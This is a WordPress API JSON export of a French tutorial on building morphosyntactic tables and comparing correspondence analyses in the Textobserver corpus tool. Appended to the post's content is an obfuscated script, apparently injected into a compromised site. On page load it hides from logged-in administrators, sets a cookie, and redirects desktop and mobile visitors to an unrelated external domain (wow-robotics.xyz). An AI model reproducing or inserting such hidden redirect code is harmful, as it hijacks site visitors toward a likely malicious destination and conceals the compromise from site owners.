{"id":274,"date":"2015-01-03T15:11:10","date_gmt":"2015-01-03T14:11:10","guid":{"rendered":"http:\/\/textopol2.u-pec.fr\/textobserver\/?p=274"},"modified":"2018-12-14T10:41:39","modified_gmt":"2018-12-14T09:41:39","slug":"utiliser-une-table-par-etiquette","status":"publish","type":"post","link":"http:\/\/textopol.u-pec.fr\/textobserver\/?p=274","title":{"rendered":"cr\u00e9er et utiliser une table morphosyntaxiques"},"content":{"rendered":"<p><!--:fr-->lors de l&rsquo;import d&rsquo;un r\u00e9pertoire de corpus au format XML \u00e9tiquet\u00e9 avec Treetagger Textobserver propose par d\u00e9faut de cr\u00e9er les tables ci-dessous<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/selection-tables-a-creer-defaut.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-275\" alt=\"selection-tables-a-creer-defaut\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/selection-tables-a-creer-defaut.jpg\" width=\"420\" height=\"276\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/selection-tables-a-creer-defaut.jpg 420w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/selection-tables-a-creer-defaut-300x197.jpg 300w\" sizes=\"(max-width: 420px) 100vw, 420px\" \/><\/a><\/p>\n<p>si l&rsquo;on coche les propri\u00e9t\u00e9s lemme et pos en plus de ces valeurs par d\u00e9faut (voir ci-dessous) on g\u00e9n\u00e8re alors des tables suppl\u00e9mentaires qui permettrons de visualiser directement ces caract\u00e9ristiques dans le corpus.<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/selection-tables-a-creer-ajout-lemme-pos-encadre.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-276\" alt=\"selection-tables-a-creer-ajout-lemme-pos-encadre\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/selection-tables-a-creer-ajout-lemme-pos-encadre.jpg\" width=\"420\" height=\"276\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/selection-tables-a-creer-ajout-lemme-pos-encadre.jpg 420w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/selection-tables-a-creer-ajout-lemme-pos-encadre-300x197.jpg 300w\" sizes=\"(max-width: 420px) 100vw, 420px\" \/><\/a><\/p>\n<p>Le panneau ci-dessous liste l&rsquo;ensemble des tables g\u00e9n\u00e9r\u00e9es<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/tables-creees-zoom.jpg\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-281\" alt=\"tables-creees-zoom\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/tables-creees-zoom.jpg\" width=\"553\" height=\"243\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/tables-creees-zoom.jpg 553w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/tables-creees-zoom-300x131.jpg 300w\" sizes=\"(max-width: 553px) 100vw, 553px\" \/><\/a><\/p>\n<p>Ci-dessous deux tables lexicales ont \u00e9t\u00e9 ouvertes en m\u00eame temps sur textobserver en vue des les comparer. La premi\u00e8re VOEUX_TREETAGG_XML_2014_discours_loc_pos.tab (AFC de droite : par locuteurs et \u00e9tiquettes grammaticales) et la seconde est VOEUX_TREETAGG_XML_2014_discours_loc_word.tab (AFC de gauche : par locuteur et mots du discours)<\/p>\n<p><a href=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/comparaison-AFC-loc-word-et-loc-pos-zoom.jpg\"><img loading=\"lazy\" class=\"alignnone size-large wp-image-288\" alt=\"comparaison AFC loc-word-et-loc-pos-zoom\" src=\"http:\/\/textopol2.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/comparaison-AFC-loc-word-et-loc-pos-zoom-1024x667.jpg\" width=\"625\" height=\"407\" srcset=\"http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/comparaison-AFC-loc-word-et-loc-pos-zoom-1024x667.jpg 1024w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/comparaison-AFC-loc-word-et-loc-pos-zoom-300x195.jpg 300w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/comparaison-AFC-loc-word-et-loc-pos-zoom-624x406.jpg 624w, http:\/\/textopol.u-pec.fr\/textobserver\/wp-content\/uploads\/2015\/01\/comparaison-AFC-loc-word-et-loc-pos-zoom.jpg 1147w\" sizes=\"(max-width: 625px) 100vw, 625px\" \/><\/a><\/p>\n<p>NB: si vous d\u00e9sirez faire pivoter une des afc il suffit de la s\u00e9lectionner en la cliquant puis, \u00e0 l&rsquo;aide d&rsquo;un clic droit, de choisir Rotation&gt; Angle local&gt;&#8230; et de choisir l&rsquo;angle voulu dans la liste.<\/p>\n<p>notez qu&rsquo;il est \u00e9galement possible d&rsquo;ouvrir la table pr\u00e9sentant les r\u00e9sultats par locuteur uniquement pour les lemmes ou les r\u00e9sultats par locuteur uniquement pour les pos ce qui permet d&rsquo;observer des variations de l&rsquo;afc li\u00e9es aux sp\u00e9cificit\u00e9s des \u00e9tiquettes<!--:--><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>lors de l&rsquo;import d&rsquo;un r\u00e9pertoire de corpus au format XML \u00e9tiquet\u00e9 avec Treetagger Textobserver propose par d\u00e9faut de cr\u00e9er les tables ci-dessous si l&rsquo;on coche les propri\u00e9t\u00e9s lemme et pos en plus de ces valeurs par d\u00e9faut (voir ci-dessous) on g\u00e9n\u00e8re alors des tables suppl\u00e9mentaires qui permettrons de visualiser directement ces caract\u00e9ristiques dans le corpus. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4],"tags":[],"_links":{"self":[{"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/posts\/274"}],"collection":[{"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=274"}],"version-history":[{"count":12,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/posts\/274\/revisions"}],"predecessor-version":[{"id":372,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=\/wp\/v2\/posts\/274\/revisions\/372"}],"wp:attachment":[{"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=274"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=274"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/textopol.u-pec.fr\/textobserver\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=274"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}